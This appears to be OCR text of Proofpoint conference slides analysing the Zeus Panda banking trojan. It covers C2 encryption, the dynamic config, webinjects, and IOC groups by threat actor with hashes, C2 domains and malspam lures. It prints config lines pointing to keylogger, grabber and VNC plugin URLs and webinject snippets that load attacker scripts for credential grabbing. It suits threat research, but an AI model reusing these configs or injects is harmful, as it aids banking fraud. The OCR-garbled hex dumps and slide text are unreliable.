» Offset 0x0: SHA256 hash (32 bytes)
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POST Data Decryption (2.1.0 - 2.1.3)

peeoeeee f6 75 ©f 8d e4 cc bd 52 a7 55 67 26 66 b7 1e 59 |.u..... R.Ug&f..Y
PePORR10® dO 6d 31 ec ab 95 39 B8 B8e 45 97 d5 bd 11 15 3e |.ml...9..E..... >
ae a a p.
POReRe3R b9 6a 21 9a 8b f3 ee af 79 92 c4 8a a5 1d Ba BFf |.j!..... Vissausna
peeeeese 26 31 63 bb 33 1e e3 el 32 bl 33 ¢c3 f7 30 d1 7a |&1c.3...2.3..0.z2
PeeORe50 10 Ba 97 ab ad 35 ab 85 «cb6 @86 25 24 b2 90 6d fd |..... 5....%%..m
peeoRR6d af d3 45 92 4d 5f 55 @c c@ b9 b5 44 @6 a2 b6 52 |..E.M_U....D R
peeeee7e 2e @d 3e 9d b5 16 cb 6f d7 3f 5a bc b5 9b db ee |..>....0.2Z.....
peeeeese 27 b9 99 57 dc d4 a4 87 f3 f@ 25 ab el @4 46 a7 |'..W...... %...F
PeeeRe9e cc 64 cl 41 al e9 85 55 bf 94 43 91 a7 al 3e 2d |.d.A...U..C...>=
P0P00Rad® e8 da B8b ca 31 b4 66 47 49 8c e5 91 d2 27 5b 1¢c |....1.fGI....'[
peeeeebe c6 f9 a7 f7 8b 85 e7 bc 8f 6e b5 39 @1 f7 65 f@ |......... n.2..e
peeeedce f5 aa a2 d@ ee ab e4 5c c@ da 8f f3 4f 1e 2a 13 |....... \....0.%
©eeeeede 8d 5d 9a 2d f@ 6¢c 6d be 7e 46 3b @c 52 ce 83 e®@ |.].-.1m.~F;.R...
00000Bed 6Ff b6 dl1 11 28 56 @c 51 c9 Bf a@ f2 5d 68 42 ¢c2 |o... V.Q....]lhB.
eeeeeefe 7e 43 a7 dbé 96 c7 3b 52 51 61 17 54 2b b8 58 fd |~C....;RQa.T+.X
90000168 88 24 2c al 77 50 ab Bc ©e 83 5c B3 41 cl1 34 cb6 |.B,.wP \.A.4
90000118 ©Ba c4 3a fé6 2d f9 1d B9 eb 87 eB ed 5a 76 8d 67 |..:.—....... Zv.g
90000120 5f el Ba ed 68 c7 7e 63 cb fe 4f 76 7d 5f Ba al |_...h.~c..0v}_..
90000130 5d 76 9b 4d d5 87 8b 37 2e 23 eb 8c 62 fc 7f 7f |1lv.M...7.#..b...|

proofpoint.
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POST Data Decryption (2.2.1 — present)

9nUPJeTMvVKnVWemZrceWdBtMeyr1lTmAkWX1bBRFT4INVMus6+FWDQYN3ADrRtZuWohmovz7q95ksSKpROKDYYxY7szHUPhMrEzw/cwBXo
QipemrTWrBcYGJISSykG39r9NFkk1fVQzAuUbVEBQK2U14NPp21FstvilzQavLWh2+4nuZ1X3NSkB/PwlavhBEanzGTBQaHphVW/1EORp&E+Le
jaiBoxtGZHSYzlkdInWxzG+af314XnvIQutTkB92XwPaqiB®06r5FzA29/zTx4qE41dmi3wbG2+FfkY7DFLOA+BVvttERIFYMUckPoPJdaELCT
kOn1pbHO1JRYRAUK7hY/QgkLKF3UKAMDoNcABHBNMYKxDr2LfkdieuH401ladglnX+GK7WiHTfmPG/k92fV8KoV12mB3Vh4s3LiPriGL8f380
z2+FIoPWZkZiQBXtJIR65]nZkkQPOUKrPx1VZKfdKDDR35JA1IABIER+WQg+x IWIUKHSAY2WLZzZMAp+RKIN47y0ixIjQB+F8nMQIEtmMgKeM
UvH9kbR1@Eoef/d7aimjYc@Bn/Nr8weezeGs1C70UStSgRYktpd2ey5jcRVyGi8tCTCeZ3x71bglLDzwZB71eE1HDINPIYefxFzF6hMMeRN7
panPrépc4dkt4IJUML/8NTgxJ6PL1c212zKj8Jr/8BldpTvhYBkRv7ghl87dSYoPoaEoB8ck2zDidP541iHTt/TQ==

prOOpri nt © 2016 Proofpoint, Inc.




Request Data

{
"BotInfo": {
"systime": 1539182879,
"process": "sychost.exe",
"user": "Admin-PC\\Admin",
"id": "98196127D09F93A1B12D74BDCACDOIDF",
"botnet": "not set”,
"version": "2.6.18"
"File": {
"name": "dishuwuycywgeacqylyik.dat|
}
¥

proofpoint.
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Command and Control (Response)

HTTP/1.1 288 0K

Server: nginx/1.10.2

Date: Tue, 89 Oct 2818 146:81:45 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/5.6.31

Bh9ELDZ31Y2GHTdawwRrKHhNRWBgk82mGKa /WFDLkgDY0gZ2h7MdLn@VWXEMs 1IXzB8CG]vACr+hBhUpQK3SdjLOW38/pI2dglsu2
rBGHeDrKXtXEcLsA+lzceQXnSd2ulw41QZP1UaHm7SE1GiDMST2efnitbdy/ fz9AL9D7Gpk5+cY1X0xqGKXVCSxvPhQrdO&jHLT
BHQsopYG2Ba%uxFzté69dfagBR+wCX/9gHWIYMIR2 im8pEAg3s04hES/AT4UVW/ Ckd3UXvkVtorIg3qgYdB8AHeCBurvGHmZBYIUDa
1ihgAw/1rfMwMYSV]1ZIJsvB2RutexS3BTX4o07 rFigUdxNeYtG1lXfnfRbGhbaFwCVUOgxFG7Z+DggsnwXTC1RalvZmHBWE4YQGA
sIMATE3IFuivQptl9pF09rq9PJEun34f2dhshsSFoQgVolURGmCZm7Nc10821eacCBDTEVNOQEMATAG+zulrnIgKehu /WRUCY Lwh
TJriésl/FzebnDsnEGRxK11lyxCCphWTjyb9XqgRNygNcTugosp/LkEcCgPVdEcBS5zWNLueZpPB@B8fpsilHweYxVXT29dSdgHVNEdU
awjuligBldvYxbv4fBMzK&1XvEdPfrhabd+kXJIUIQ2g58gMSbulG146RAMOmTw7GBelDg ] 5AhH/ kBwrDO3uSOh2L8Ehz /AE382zH9pB
4wGqsINyH1g7XbZs]. ..
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Response Data Decryption Layer 1 (2.1.0 - 2.1.3)

= Offset 0x0: SHA256 digest (32 bytes)
= Offset 0x20: AES256 IV (16 bytes)

= Offset 0x30: AES256 CBC encrypted data
= The key will be the randomly generated AES key sent along in the request

000eeeee dil bf 44 2c¢c 36 77 d5 8d 86 1d 37 5a c3 84 6b 28 |..D,éw....7Z..k(|
PPPeee1e 78 4d 45 60 6B 93 cd ab6 18 ab bf 59 B cb 92 a@ [xME "...... Yuuuul

a ad al ec ¢ c : . Ppeas
PPPeee38 fB 21 a3 bc 88 ab Ta 18 61 52 94 Ba dd 27 63 2¢ |.!...... aR...'c, |
00000e48 e5 b7 d3 fa 48 d9 da b5 b2 ed ab 84 61 de 8e b2 |....H....... el

52
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Response Data Decryption Layer 1 (2.2.1 - present)

Offset 0x0: SHA256 digest (32 bytes)
Offset 0x20: AES256 IV (16 bytes)

Offset 0x30: AES256 CBC encrypted data
= The key will be the randomly generated AES key sent along in the request

Baseb64

53

proofpoint.
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Decrypt Me Like One of your BaseConfigs (Layer 2)

{
"File": {
"name" :"luporryzeynapomywleyb.dat",
"1d":"de3f323d29a7dT1d11b4baTBbI56d2TE",
"data":'|BAHBU+jbREIIZQ918FTi+00jxL8a85u. . . 5EKylyOzc|"
s
}
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Decrypt Me Like One of your BaseConfigs (Layer 3)

"data": IgWKD+hE+WUsq .ZnBsPF1kw'
"sign": "NUthHﬂmelcxIEmGIpEUEFwLLprhP+WJuLIDEWP!RTw5+ZUerﬁyf?A!U?G+KyEUVKxE]+r?pfkadgT¢HE

yq9zwtt421Yzg+aQCLA0dyYBGzpcBLIULIboz1D&BKTP+PEUSSELVVYTgB]Ctnaséul89TCGw2zQ500+N1IoVEpdAWXW3I3WTLW
1TIvLtRAxkGEM95g1HcbMY J1EWH1yyyt+2vgpghpakallrd29zFnbofk7gMvaj+AK1XcRHcKRsoPhTc/Bul+13h4qgcJ7uCDHem
uieds2+reVidcYvXdhEHK1Q0gEQHhCFvC29YmxdO0Quj5GpfGIv12a/+oTg==

}
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Dynamic Config

[ "botnet": "2.6.18", |

"check_config": 327685,
"send_report": 655378,
"check_update": 1966118,
"url config": "https://sincirewdo.ru/luporryzeynapomywleyb.dat"

"url webinjects": "https://sincirewdo.ru/618webinjects.dat",

"url update”: "https://sincirewdo.ru/luporryzeynapomywleyb.exe",
"url_plugin_webinject32": "https://sincirewdo.ru/é18webinject32.bin",
"url_plugin_webinjecté4": "https://sincirewdo.ru/é18webinjectéd. bin”,
"remove_csp": a8,

"inject_wvnc": e,

"url_plugin_wvne32";: "https://sincirewdo.ru/618wvnc32.bin",
"url_plugin_vnecéd": "https://sincirewdo.ru/618vncés. bin",
"url_plugin_vnc_backserver": "Z2KvEWWIViHCjeytKlg4ls8=",
"url_plugin_backsocks": "https://sincirewdo.ru/é18backsocks.bin",
"url_plugin_backsocks_backserver": "Z2KvEWWIVijHCjeytKlg4ls8=",
"url_plugin_grabber": "https://sincirewdo.ru/é618grabber.bin",
"grabber_pause": 2,

"grab_softlist": 1,

"grab_pass": 1,
"grab_form": 1,
"grab_cert": 1
"grab_cookie": 1,

T

"grab_del_cookie": 8,

"grab_del_cache": a,

"url plugin kevlogger": "https://sincirewdo.ru/618keylogger.bin”,

"keylog_process": "cHVBdHkuZXh1AAA=", # putty.exe\x08\x88

"screen_process": "cHVBdHkuZXh1AAA=", # putty.exe\x88\x88

"reserved": "EHWYzK21PBN4dapD@a4PNvapEBglFHILNINeXZmgs5qSB2heDdI&EcivwMn4Byvb+QKEgHT aNv2Xthe

1z8W+Wlajykhiunf8aXU4FMDxBIr8d5h4YdeVMHBKkbk11doVIg5DoRnThjQkALuoTFveDmfeEZXpZewdeC3zj5 kyZHg5AQmtSTM
7V71dNuS7mcEénkET /LCD1388YFVN+AgKIFSpHGAFMiFo5mUsc? /dVvVxCS4vvtBRgnOmIWCAQg/YPc5g=="
}
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Dynamic Botnets (“botnet®)

2 pooeale777 02.5.7
“220;2 6 I
O

18 novembrosttn 9.
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“keylog_process” and “screen_process”

u;- o

- *ecartebleueSG" AnyDesk.e
--_ WmSCP exe ¢,

e DSTART EXE
O TeamVnewer exe "oepac
3 o ae OUtiOOK . exe ’h’

g ‘0(:Uum-3 0. 1 exe @*

o
<
=

o

opaT" e

eCartoBIeue LBP'

TRA Xe *Banque rh. Jtair -._.
sLINK S
E jawa. exe .
=, S | re OX exew.s
? iave v exs M b(em qwob quorcia com/®_
;-.- .:. =3 skype exe X e
‘ . ‘ g °$ e
estpems } ’f & ertrepnse
APSAT ".. :‘. 133

*SG ’Laa ho'64'

' o g *merchant*
s
O =76 e 5’ 2 a a ex nc po
%p;%ex

-
>

10

- mo"a

<
E o ot
9’: % " oo
ewneb e.Je b 05 =% e
67L , s AT P | e
m firefoxeexe @ 2 5 &
p e ase '\b Ve )
: 3 ps, |
Q) e)(e & e 2N
O/ C . qbw32 é“ ,,«“ i
@ qu:ckbooks
svchost exe

b k exe -
- qwcb quercia. oonv’lAu(onzzazionu e
proofpoint.

HB_ICEM w00

58 © 2016 Proofpoint, Inc




Man-in-the-Browser Module (“url_plugin_webinjectXX”)

"Man-in-the-browser (MITB, MitB, MIB, MiB), a form of Internet threat
related to man-in-the-middle (MITM), is a proxy Trojan horse[1] that
iInfects a web browser by taking advantage of vulnerabilities in browser
security to modify web pages, modify transaction content or insert
additional transactions, all in a completely covert fashion invisible to
both the user and host web application.”

Source: https://en.wikipedia.org/wiki/Man-in-the-browser

prOOpri nt © 2016 Proofpoint, Inc.




Webinjects (“url_webinjects”)

= “webfilters”

= “webinjects”

= “webinject1data”
= “webinject2data”

= “webinjectXdata”

proofpoint.
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Webinjects (“webfilters”)

= Mhttps://'www.<antivirus>* -> block access
= Ihitps://<uninteresting calendar>.com/* -> don't log
= #https://<funny money>.com/* -> take video
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Webinjects (“webinjects”)

Flags (WORD)

Size (WORD)

Target offset (WORD)
Target (regex string)

Peeeeree 64 B8 45 00 10 PO 00 PP 0O 60 PO 00 ©O PO 00 B0 |d.E.....eiiinnnn |

00000010 68 74 74 70 73 3a 2f 2f |https:// |
00000020 | |
00000030 | |

peeeevse 2f 6a 73 2a 80 | /Js%*. |
BBeBBBAS

proofpoint.

62 © 2016 Proofpoint, Inc.




Webinjects (“webinjectXdata”)

= Data size (WORD)
* Flags (WORD)

= Data

= \Where or how

BBbbbeee
BBoBeele
beeeee206
BBeBBB3b
BBoBBB4e
pbeeeeese
BBeeBes1

proofpoint.

51
76
7b
6f
6e
72

BB
61
7d
be
63

Be
72

28
T4

(515
28
208
29
69

28
65
76
7b
6f

66
3d
61
7d
be

75
66
72
3b
28

be
75
20
28
29

63
be
66
76
7b

74
63

61
7d

69
74
66
72
3b

6F
69
75
28
Lo

be
6f
be
64
6f

28
be
63
3d
&7

29
28
74
66
67

7b
29
69
75
65

|Q...(function(){]|
|var e=function() |
|{}; var f=functi|
lon(){}; var d=ful
|nction(){};Logge|
|r]
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Webinjects for Humans

Ilill: {
"flags": "IS_INJECT,REQUEST_POST,REQUEST_GET",
"set_url": "https:// | <
"pieces": {
"1 _data_before": "\"\NAx69\A\X7O\NXTZEA\NXLC A \xO6F\\x61N\\x64\\x65 \\x64\"]; ",
"1 data_after": "if(typeof Sys!==",
"1 data _inject": "3V

}
},
I II: {
"flags": "IS_INJECT,REQUEST_POST,REQUEST_GET",
'set_url": "https:// |G i s nentationx",
"pieces": {
"1 data_before": "var Logger={initialised:false};",
"1_data_after": "={init:e,log:f,flush:d}}());",
"1_data_inject": "(function(){var e=function(){}; var f=function(){}; var d=function(){};Logger"
' ¥
}J
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Zeus BinStorage

00000000 36 71 1f 54 el 1b 91 a@ ©f 21 cb 91 ce cf 8b c4 [6G.T..... levunnn |
» Header 00000010 58 fa eB 97 6c 86 00 @0 ©0 00 60 00 75 00 08 00 |X...l....... T
00000020 b5 3c a7 48 d7 25 97 29 4d a2 33 1d 9d 4b a8 e5 |.<.H.%.)M.3..K..|
00000030 21 4e 00 00 00 0P 00 10 04 00 00 00 04 00 00 00 |IN.............. |
| -

Random data (20 bytes) 00000040 09 08 0P 02 22 4e OO OO 0O 00 00 10 22 00 00 @0 |...."N...... LN
. 0000AR50 22 00 00 08 68 74 74 70 3a 2f 2f 65 6d 61 69 6c |"...http://email|
= Sjze (DWORD) P000BR6D 75 70 67 72 61 64 65 2e 73 75 2f 6e 65 77 2f 62 |upgrade.su/new/b|
00000078 6f 74 2e 65 78 65 23 4e 00 00 00 00 00 10 23 00 |ot.exe#N...... #.
- Flags (DWORD) P02PRAB0 ©0 00 23 Q0 00 00 68 74 74 70 3a 2f 2f 65 6d 61 |..#...http://ema|
. 00000098 69 6c 75 78 67 72 61 64 65 2e 73 75 2f 6e 65 77 |ilupgrade.su/new|
m Section count (DWORD) P000ERad 2f 67 61 74 65 2e 70 68 70 25 4e @0 08 ©1 00 00 |/gate.php%N..... |
000000bE 10 85 00 0@ 00 al 0@ @0 @0 db ff ff ff 21 2a 28 |...uuvveenrn.. 1. |
= MDS5 (16- 000000cd 6d 69 63 72 6 73 6F 66 74 2e 63 6f 6d 2f 2a @@ |microsoft.com/x. |
° ( 6 bytes) 000000d0 21 68 74 74 70 3a 2f @9 6d dé 7d ed fd 79 73 70 | !http:/.m.}..ysp|
. 000000ed 61 63 65 16 15 14 73 15 77 @0 b® bf bd fd 2e 67 |ace...S.W...... gl
u SeCtlonS 000000T® 72 75 70 31 61 ée 74 @2 b4 65 72 2e 65 73 35 c@ |ruplant.der.es5.|
00000100 da ff 3f 6f 64 6e 6f 6b 6c 61 73 73 6e 69 6b 69 |..?odnoklassniki|
= |D (DWORD) 00000110 2e 29 1b fb 3f bb 7b 76 6b 6f 33 6b 74 65 16 48 |.)..?.{vko3kte.@|
00000120 2a 2f 6c 6F 67 69 6e 2e 4b 30 68 4f 76 6d 70 12 |*/login.Ke Ovmp. |
'@0000130 61 74 6c 10 @0 00 00 @0 00 00 00 48 @@ ff 01 @0 |atl........ Hou'o]

|
Flags (DWORD) 0000140 0O 00 0P 00 00 40 3c 00 00 00 3e 00 00 00 29 00 |..... O>...>0..)4
. '0000B150 00 00 20 52 65 67 69 73 74 65 72 65 64 28 65 6d |.. Registered em|

|
Size (DWORD) 180008168 61 69 6c 20 61 64 64 72 65 73 73 3c 2f 74 64 3e |ail address</td>|
. 100000170 2a 3c 69 6d 67 2a 3e 89 8@ 80 80 3c 2f 74 64 3e [x<imgw>....</td>|
= Real size (DWORD) 100000180 Oc 00 00 80 65 2d 6d 61 69 4c 3a 20 02 00 08 08 |....e-mail: ....|
00000190 ©1 00 00 48 5e 0@ 0@ @0 5e @0 08 @0 ff ff ff ch |...@%...%....... |
= Data 1@000001a0 48 @0 28 3c 61 20 68 72 65 66 3d 22 68 74 74 70 |H.(<a href="http|

000001bd 3a 2T 2f 66 65 65 64 62 61 63 6b ff db ff db 2e |://feedback..... |
- Can be compressed e ST ST T m s nss S ms s s s s s o
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Webinjects (Targeted Countries)

10000
1000
a0
o
o
o 100
Q
=
©
N
) IIIII“II
it au ca uk de Ilu hk jp br ¢c2 ru fi at se ch g pl es co cy cn dk eu ar fr ec im
Countries
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Webinjects (Types)

AY

10000

1000
100
10

1

Samples (log)

o\o oo ) oo ) 7 &
FF LI EFE IS F LSS T TP F S
\a(b . Q\e) K {b Q 5 \Q (o) Oc, &(b' . \G \,\ & ’b / Q ‘g// ?\3~ AN 0 Q, @ Q;Q OQ’\'/
S S O L s O & ) A\ SR NEERN Y & N
@ g LN A ) ;T 8 d
Q‘b Q‘b r&% xA Q’b *Q/ Q ’Q&'
O N NI} p; QO
? ? ¥ O &
N\ N\
& X
N ‘QOQ

Webinject Types
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Webinjects (Defaults / Tests)

"wer.com.au page injected": {
“flags“: “”,
"set_url": "http=*x://*wer.com.aux",
"pieces": {
"1 _data_before": "<htmlx<head%>",
"1_data_after": "",
"1 data_inject": "<script>\r\nalert('Page Injected!');\r\n</script>"

Ly

"bog.com.au page injected": {
"flags": "IS_INJECT,REQUEST_POST,REQUEST_GET",
"set_url": "http=#://*boqg.com.aux",
"pieces": {
"1 data_before": "<htmlik<head*>",
"1 _data_after": "",
"1_data_inject": "<script>\r\nalert('Page Injected!');\r\n</script>"

}

"generic page injected": {
"flags": ",
"set_url": "https://www2. || com-br*".
"pieces": {
"1 _data_before": "<htmlik<headx>",
"1_data_after": "",
"1 data_inject": "<script>\r\nalert('Page Injected!');\r\n</script>"

Ly
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Webinjects Kits (tables)

= Snippet
= _brows.inject(\"hxxps://taberfix[.top/panel/t.js\");

proofpoint.
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Webinjects Kits (.::grab) om—  ———.s——

= Snippet

= <script>var home_link =
"hxxps://kioxixu.Abkhazia[.su/jpccgrab”;var
gate_link = home_link+"/gate.php";var pkey =
"Bcbrwl2™;

.:zFull Info Grabber

Password: Sign in
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Webinjects Kits (r=)

| S n | p p et Username

= src="hxxps://plsfgpal[.Jcom/mpgl/content/comm
bank/mx/commbank.js?r="+((new
Date()).getHours()+(new
Date()).getDay()*24)+"

Password

proofpoint.
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Take Warning

Historical IOCs Ahead




Take Warning

Historical IOCs Ahead




Grouping

= Delivery = |Ps
= Malspam = TLS common name
= Exploit kit = TLS fingerprint
= Exploit = Whois email
= Installation " DNS SOA email
= Key hash = Actions on Objective
= Botnet name = Cryptocurrency IDs
= Dynamic config file hash = Countries targeted
= Webinjects file hash = |[nstant messaging IDs
= Command and Control (Malware and
Webinjects)
= Domain
= URI paths
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Groups (IOC Overlap)

10000

1000

100

(80]) se|dweg

10

1

617 dno.g
g7 dnous
Lt dnoss
ot dno.8
G dno.g
17 dno.8
e dno.8
Zv_dno.g
T dnoJs
ot _dnos8
6€-dno.8
ge~dnoJs
,€-dno.8
9¢g-dno.8
ge~dno.g
y€-dno.g
cg~dnoss
Zze~dno.g
1€ dnoJ8
og~dno.8
6¢_dno.8
gz dnos
),z dno.g
9z _dnoJs
Gz dno.8
2~ dno.8
ez~ dno.8
ZzZ_dno.g
T2 dnoJs
0z dno.3
6T dnoss
QT dno.s
,T_dno.8
91 dno.8
g1 dno.8
T~ dno.8
€17~ dno.8
2T dnoss
7T dnoi8
0T dno.8
6 dnoJs

g~ dnoJg

) —dnoJ3

9 dnoi3

G- dnoi8

¥ dnoi8

¢~dnoJ8

Z_dnoJs

T-dnoJ8

0 _dnoJ3

Group
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Groups (BaseConfig Key Hashes)

10000
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Botnet Key Hashes (MDD)
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Group (“First Contact”)

N /| WA

M A M J J A S O N D 2017 F M A M J J A S 0 N D 2018 F M A

= Samples: ~80

= QOldest: db790cbe0beb2a9c2749ch914fbdec8bdc7aa2ef3c9cabec721e0cOfede715fb2
- C2: denatgruel.com

= Newest: 0c3dc58144b854493098c226abb4355dfb52d780c6422266c1cl4ebbebc41836
- C2s:16a9v8s6.top, [916m1w6.top, x8a9ils7.top

= Activity: January 2016 — April 2018

= Versions: 2.1.0 — 2.6.6 (missing 14 versions)

= Botnets: newtest, vnc

= Dynamic Config Filenames: newtest.dat. releasel.dat, config.dat, configvnc.dat

= First debug build (April 2016)

= 31f8346b01d9e3c307280bf900de4e91a57d579d5327f75fd697431bcdd20dd4
- C2s: hydroyeo.com, cabbyelias.com, untosalol.com, shaveaweto.com, riottorus.com, meatodel.com

proofpoint.
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Group (“First Contact”)

W o receipt-parcel-GB-86001256 (Protected Vi icrosoft Wor [ | ) S

- - - . . . 5
m DI St r I b l Itl O n B Home  Inset  Pagelayout  References  Maiings  Review  View > @

@ Protected View  Thisfile originated from an Intemet location and might be unsafe. Click for more details, | Enable Editing

= Malspam (April 2018) , -
- Word doc with macros hosted on Dropbox

* Spoofing a shipping company -

- Smoke Loader
e (C2s: uhyzwbaqrc2zzu.win, 8mqytvupwfdh.bid,
hdbhxq9swamy7.bid T ———

E TO VIEW THE CONTENT OF

- Panda Banker
* (C2s:16a9v8s6.top, 19I6MmIiw6.top, x8ails7.top r
1. Open the d in Mi Office. ing online does not work for

protected documents.

2. If you downloaded this document from your email, please click “Enable editing”
from the yellow bar above.

u R u b e | | a M a C ro B u i I d e r” (Ap ri | 2 O 1 8 ) 3. Once you enabled editing, please click “Enable Content” on the yellow bar

- Source: https://www.flashpoint-
intel.com/blog/rubella-macro-builder/ [EEREE ;

prOOpri nt © 2016 Proofpoint, Inc.




Group (“First Contact”)

= Targeting
= Canada (March 2017)
- 1cb29891cd23b232c611ec24cfOf7adc73fe419ff2be637beeb07360d3d402c5
- C2: plk4kd.xyz
- Webinjects
- ~39

* ‘“tables” kit
* (C2:slphstvz.biz

= Canada (December 2017)
- f99839235cd4d2c731bd66a75a3d49a57a45c5aa2e7637802284f16579fddd6a
- C2: frumdingo.top
- Webinject
« ~39
* “tables” and “_txt.insert” kits
* (C2: plakdm.xyz
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Group (“Italian Job”)

100
10
1 /

September 2017 November 2017 January 2018 March 2018 May 2018 July 2018 September 2018

Samples: ~700

= Oldest: 335c0e4430a08956f796611b3ebf273117e784eel1d728d7b8fch9997c98735cc
- C2s: 569311CDA810.faith, E3113EAF8798.bid

= Newest: 58af96fb4c4f551fc9b8eh4890eah0144221¢ca976286f928d5bed696945f705e
- C2s: F2D5CAB27447.tk, F2D5CAB27498.ml, F2D5CAB27410.ga, F2D5CAB27498.cf, 0406453a7047.tk

Activity: August 2017 — September 2018
Versions: 2.5.0 — 2.6.10 (missing 2 versions)

Botnets: armata, onore, markit, mark, markusnew, billit, bill, mrtwister
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Group (“Italian Job”)

Hid9 3« # |+ Fatture differite N°259 - Message (Plain Text)

o B =R
) ) ) — -0
= Distribution X o @ T YO (o 3 B ¥ O A Q
@ Junk Ld = Lf& Related ~
Delete | Reply Reply Forward ¥, pjgre — Move |;j Actions = Mark Categorize Follow | Translate Zoom
Al N - - Unread - up- - by select -
= TAG44

TF:m: _ Sent:  Tue 07,08/2018 13:54
= Malspam (August 2018) SO
. | Message | ] Fatture cifferite.xis (43 KB)
- Attached Word or Excel doc with macros 5
* Subjects containing “Fattura” (translated: Invoice) inallegato doc come da f i oggetto.

_ Panda Ban ker Cordiali Saluti

I
* 01464f1b285cd09b899c87¢195d6b7d04b4a99c87ealb
b43d1leal8cd2252eca

e (C2s: C5815F7F4427.bid, C5815F7F4418.win

= Nymaim, Ursnif, Chthonic, Zloader, and
URLZone

proofpoint.
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Group (“Italian Job”)

= Targeting
= Jtaly (August 2017)

- 335c0e4430a08956f796611b3ebf273117e784ee1d728d7b8fch9997¢c98735cc

- C2s: 569311CDA810.faith, E3113EAF8798.bid

- Webinjects
« ~20
« “jd=*and “adm=" kits
* (C2s: westrostres.bid, ssistats.info

= |taly and some Bitcoin (March 2018)
- 8471a89cee977822f9826cabd122d63b7b8a2bd0a5239e22c634ac9eb951147d
- C2: 0al09ec2ab47.com, fa208cd45c47.com, 3f5d37ec8547.com, f582e064be47.com
- Webinjects
« ~106
* “adm=*, “e.php?v=", and “data-s %SOCKS%" kits
* (2s: sslistats.info, gemendoloma.top, seccunet.com
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Group (“Italian Job”)

Update 1

This article was originally written in June/2018 and slightly updated over time, we decided not to publish any detail due to the huge amount of sensitive data available and accessible on the

drop zones. ReaQta alerted the financial institutions involved, the CERTS and the authorities of the countries involved in this attack. As of August 2018 the servers used to collect the data wen

finally down and today we believe there is no harm anymore in publishing the details.

Source: https://reagta.com/2018/09/global-malware-campaign-using-zeus-panda/
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Group (“Japan Gang”)

AN | NS~

April2018 8 16 May 2018 14 21 June2018 11 18 July 2018 9 16 August 2018 13 September 2018 17  October 2018 15 22

Samples: ~160

= QOldest: 8db8f6266f6ad9546b2b5386a835baalchf5ea5f699f2eb6285ddf401b76cch7
- C2s: hillaryzell.xyz, buscamapal.top

= Newest: 85d8829d7795af046e238d9981592f96ad49dcb2ccb9e5c6bb938bc04b1e8552
- C2s: uiaoduiiej.chimkent.su, miliocife.aktyubinsk.su

Activity: March 2018 — October 2018
Versions: 2.6.1 — 2.6.10 (missing 3 versions)

Botnets: ank

Switched to Osiris (Kronos): End of July 2018
= https://www.proofpoint.com/us/threat-insight/post/kronos-reborn

proofpoint.
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Group (“Japan Gang”)

= Distribution

exploit-kit | Smokebot | 2018-07-14

exploit-kit Undefined Smokebot | 2018-07-06

exploit-kit lal Smokebot |FLUCY AN 2018-06-30

exploit-kit Malvertising Smokebot 2018-04-12

JPN | Zeus Panda 2018-04-09

Smokebot ' 2018-04-03
exploit-kit | RIG-v | Seamless § JPN | Zeus Panda 2018-03-26

Source: @kafeine and https://www.proofpoint.com/us/threat-insight/post/kronos-reborn

PopCash | JPN
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Group (“Japan Gang”)

= Targeting
= https://asert.arbornetworks.com/panda-banker-zeros-in-on-japanese-targets/ (March 2018)

= Japan (August 2018)
- €6911d26991f413ea33919910af300f2083dbc55¢c559bd2f31¢9028da40b6a06
- C2s: uiaoduiiej.chimkent.su, miliocife.aktyubinsk.su
- Webinjects
. ~27
e “.ugrab” and “.::CC+VBV Grabber” kits
* (C2: kioxixu.abkhazia.su
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Group (“Emotet Gang”)

fo\/M N/\J\

April 2018 May 2018 14 21 June 2018 July 2018 August 2018 13 September 2018 17 October 2018

= Samples: ~140
» Oldest: feal36e75f7beb7994f2e47cd79e4e58f8dec5148e815564df5a159161ebc83c
- C2s: lavelisa.xyz, palamicha.xyz, gusmaz.xyz, kapasur.xyz, romtara.xyz, veneshem.xyz
= Newest: 45¢7¢c91ebb315a77dd28e0092913184cb6a4a8d0387d29384b273ebf9bce9a74
- C2s: theeunload.website, nodoimain.local

= Activity: September 2017 — October 2018

= Versions: 2.5.2 — 2.6.10 (missing 5 versions)
= Botnets: 2.5.7 _sas, 05-07-2018

= TA542

prOOpri nt 87 © 2016 Proofpoint, Inc.



Group (“Emotet Gang”)

= Targeting
= US and Canada (September 2017)

- 0d898d1ed36e0efa86533814594d36ea953c96dcd94ab32d8dec57ac731f2clea
- C2s: kapasur.xyz, lavelisa.xyz, palamicha.xyz, gusmaz.xyz

- Webinjects
. ~32
e “myjs1” kit

e (C2:farleza.co

= US and Canada (August 2018)
- 45¢c7¢91ebb315a77dd28e0092913184ch6a4a8d0387d29384bh273ebf9bce9a74
- C2s: theeunload.website, nodoimain.local

- Webinjects
- ~186
e “r=" “...grab”, and “tables” kits

* (C2: wellfastm.trade, milloa.com, k1sOlokio.com
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Group (“Hancitor Gang”)

N \ A N AW

November 2017 27 11 January 2018 22 5 March 2018 19 2 16 May 2018 28 11 July 2018 23 6 September 20°

Samples: ~120

= Oldest: 8646ach4bc76aa2221b3fd885305937710f90866f61139d08beed4d3b22902b8
- C2s: tontrumuchtors.com, henfobuthis.com, rowrorofrat.com, linghogolac.ru, mysitothar.ru, oftmitinrob.ru

= Newest: Ofaba459f37dd11ad44631f644062421a9efed20b511279c9adfd0dc4729c0f5
- C2s: sincirewdo.ru, therepmeat.ru, nobotanri.ru, veintitna.ru, lachistontfi.ru

Activity: October 2017 — present

Versions: 2.5.7 — 2.6.10 (missing 3 versions)
Botnets: 2.5.7 2,2.6.4 2,2.6.9 d, 2.6.10 e
TA511
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| ernal Revenue Service Notice essage (HTML) El

(14 - b L | Message -

From: RS <irs@baltimoreent.com> Sent: Wed 10/10,/2018 7:20 AM
To: Someaone

Co

Subject: Internal Revenue Service Notice

» &1

= Distribution

= Malspam (October 2018)

- URL links to a Word document with macros YIRS
* |RS theme IRS

- First reminder: Notice of Intent to seize your tax bill reimbursement.
= Hancitor (Tordal) loader g
- C2s: howonehimun.com, onbihoge.ru, rabmiarco.ru
" P an d a B an ke r QOur documents clearly show that you have outstanding amount for a tax year ending
December 31,2017 (Application form ). In cases where you will not contact us straight

- 0faba45937dd11ad446311644062421a9efed20b51 i o o s e s & e o Jou o oy g
1279c9adfd0dc4729c0f5

- C2s: sincirewdo.ru, therepmeat.ru, nobotanri.ru, slonmenfamen o
veintitna.ru, lachistontfi.ru e e N |

- No webinjects

Amount due right away: $949.20

In case you no longer want to receive alerts, please visit your IRS services user account to momentarily
deactivate or permanently eliminate these notifications.

This warning is sent to your account automatically through the IRS services. Make sure you do not Write
back.

Manage your account, change your security settings or current email address, or stop waming signals whenever you want on your Preferences Page.

